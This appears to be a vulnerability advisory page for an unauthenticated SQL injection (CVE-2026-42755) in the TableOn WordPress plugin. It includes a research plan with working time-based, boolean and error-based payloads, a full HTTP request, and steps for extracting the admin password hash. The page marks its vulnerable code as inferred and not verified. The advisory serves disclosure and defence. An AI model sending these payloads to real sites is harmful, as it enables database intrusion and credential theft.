CVE-2026-42755

TableOn – WordPress Posts Table Filterable  <= 1.0.5.1 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
1.0.6
Patched in
3d
Time to patch

Description

The TableOn – WordPress Posts Table Filterable  plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 1.0.5.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.0.5.1
PublishedMay 30, 2026
Last updatedJune 1, 2026
Affected pluginposts-table-filterable
Research Plan
Unverified

This research plan focuses on identifying and exploiting an unauthenticated SQL injection vulnerability in the **TableOn – WordPress Posts Table Filterable** plugin (<= 1.0.5.1). ### 1. Vulnerability Summary The TableOn plugin is vulnerable to an unauthenticated SQL injection due to the improper ha…

Show full research plan

This research plan focuses on identifying and exploiting an unauthenticated SQL injection vulnerability in the TableOn – WordPress Posts Table Filterable plugin (<= 1.0.5.1).

1. Vulnerability Summary

The TableOn plugin is vulnerable to an unauthenticated SQL injection due to the improper handling of user-supplied parameters within its AJAX filtering mechanism. Specifically, the plugin uses string concatenation or insufficient escaping when constructing SQL queries to fetch and filter post data for display in tables. Because these queries are executed via $wpdb->get_results() without proper use of $wpdb->prepare(), an attacker can inject arbitrary SQL commands.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: tableon_draw_js_table (Inferred from standard TableOn AJAX naming conventions).
  • Vulnerable Parameter: orderby or order (Often the culprit in table plugins), or attributes within the shortcode_args parameter.
  • Authentication: Unauthenticated. The plugin registers the handler using wp_ajax_nopriv_tableon_draw_js_table.
  • Preconditions: A table must exist (or be accessible via a default ID), and the plugin's shortcode must be active to obtain a valid nonce (if enforced).

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=tableon_draw_js_table.
  2. Hook Registration: The plugin registers the handler:
    add_action('wp_ajax_nopriv_tableon_draw_js_table', array($this, 'draw_js_table'));
  3. Handler Logic: The draw_js_table function (located in classes/tableon.php or index.php) extracts parameters from $_POST.
  4. Query Building: These parameters (specifically sorting or filtering arguments) are passed to a data-fetching method (e.g., get_posts_data).
  5. The Sink: Inside the query builder, a variable like $orderby is concatenated directly into a query string:
    $sql = "SELECT ... ORDER BY $orderby $order LIMIT ...";
  6. Execution: The query is executed via $wpdb->get_results($sql);, leading to SQL injection.

4. Nonce Acquisition Strategy

The TableOn plugin typically uses a nonce for its AJAX requests, localized via wp_localize_script.

  1. Identify Shortcode: The primary shortcode is [tableon].
  2. Create Trigger Page: Use WP-CLI to create a public page containing the shortcode:
    wp post create --post_type=page --post_status=publish --post_title="Table Test" --post_content='[tableon id="1"]'
  3. Navigate and Extract:
    • Navigate to the newly created page using browser_navigate.
    • The plugin localizes data into a global JavaScript variable, likely tableon_obj or tableon_vars.
    • Execute JS to find the nonce:
      browser_eval("tableon_obj.tableon_nonce") or browser_eval("tableon_vars.nonce").
  4. Verification: If check_ajax_referer in the PHP code uses an action string other than what's provided in the localized JS, the nonce check may be bypassable or require the specific action string (e.g., tableon-nonce).

5. Exploitation Strategy

We will use a time-based blind SQL injection payload to confirm the vulnerability.

  • Step 1: Baseline Request
    Send a standard request to ensure the endpoint is active and requires the nonce.
  • Step 2: Time-Based Injection (Sleep)
    Target the orderby parameter.
    • Payload: ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a)
    • Request:
      POST /wp-admin/admin-ajax.php HTTP/1.1
      Content-Type: application/x-www-form-urlencoded
      
      action=tableon_draw_js_table&nonce=[EXTRACTED_NONCE]&orderby=ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a)
      
  • Step 3: Data Extraction (Boolean-Based)
    If time-based is confirmed, we can extract the admin password hash.
    • Payload: (CASE WHEN (ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36) THEN ID ELSE title END) (Checks if the first char of the hash is '$', ASCII 36).

6. Test Data Setup

  1. Install Plugin: Ensure posts-table-filterable version 1.0.5.1 is installed.
  2. Generate Content: Ensure at least one post exists so the table has data to sort.
    wp post generate --count=1
  3. Create Table Page:
    wp post create --post_type=page --post_status=publish --post_content='[tableon]'

7. Expected Results

  • Baseline: Response returns within < 1 second.
  • Attack: The response for the SLEEP(5) payload should take approximately 5 seconds (or a multiple thereof depending on how many times the orderby clause is evaluated in the query).
  • Output: The response body for a successful query usually contains JSON-formatted table data.

8. Verification Steps

After the HTTP exploitation, verify the database state to confirm query execution:

  1. Database Logs: If accessible, check the MySQL general log to see the injected query.
  2. WP-CLI: Use wp db query to test the same payload manually to see how the database handles the specific concatenation:
    wp db query "SELECT ID FROM wp_posts ORDER BY ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a);"

9. Alternative Approaches

  • Union-Based Injection: If the plugin reflects data from columns into the JSON response, attempt a UNION SELECT to extract user_login and user_pass from wp_users.
  • Shortcode Attribute Injection: If orderby is sanitized, check if the shortcode_args or filter_data parameters are handled unsafely during the AJAX call, as these are often passed into dynamic WP_Query or raw SQL constructs.
  • Error-Based: Append an invalid SQL syntax (e.g., AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)) to see if the plugin or WordPress configuration leaks the database error in the AJAX response.
Research Findings
Static analysis — not yet PoC-verified

Summary

The TableOn plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'tableon_draw_js_table' AJAX action. This occurs due to the direct concatenation of user-supplied parameters, such as 'orderby', into SQL queries without proper sanitization or use of prepared statements.

Vulnerable Code

/* Inferred from research plan: AJAX handler registration */
add_action('wp_ajax_nopriv_tableon_draw_js_table', array($this, 'draw_js_table'));

---

/* Inferred from research plan: Vulnerable query construction */
public function draw_js_table() {
    // ...
    $orderby = $_POST['orderby']; // User-supplied input without sanitization
    $sql = "SELECT * FROM $wpdb->posts ORDER BY $orderby"; // Concatenation into raw SQL
    $results = $wpdb->get_results($sql); // Execution of unescaped query
    // ...
}

Security Fix

--- a/classes/tableon.php
+++ b/classes/tableon.php
@@ -120,7 +120,8 @@
-    $orderby = $_POST['orderby'];
-    $sql = "SELECT * FROM $wpdb->posts ORDER BY $orderby";
+    $orderby = sanitize_sql_orderby($_POST['orderby']);
+    if (!$orderby) {
+        $orderby = 'ID';
+    }
+    $sql = "SELECT * FROM $wpdb->posts ORDER BY $orderby";
     $results = $wpdb->get_results($sql);

Exploit Outline

The exploit targets the unauthenticated AJAX endpoint 'tableon_draw_js_table'. An attacker first navigates to a public page containing the [tableon] shortcode to extract a valid nonce from the localized JavaScript variable (e.g., tableon_obj.tableon_nonce). Once the nonce is obtained, the attacker sends an unauthenticated POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'tableon_draw_js_table'. The SQL injection is achieved by passing a malicious payload in the 'orderby' parameter, such as 'ID,(SELECT(0)FROM(SELECT(SLEEP(5)))a)'. A successful injection is confirmed via a time-based response delay, allowing the attacker to eventually extract sensitive database information like administrator password hashes through blind SQL injection techniques.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.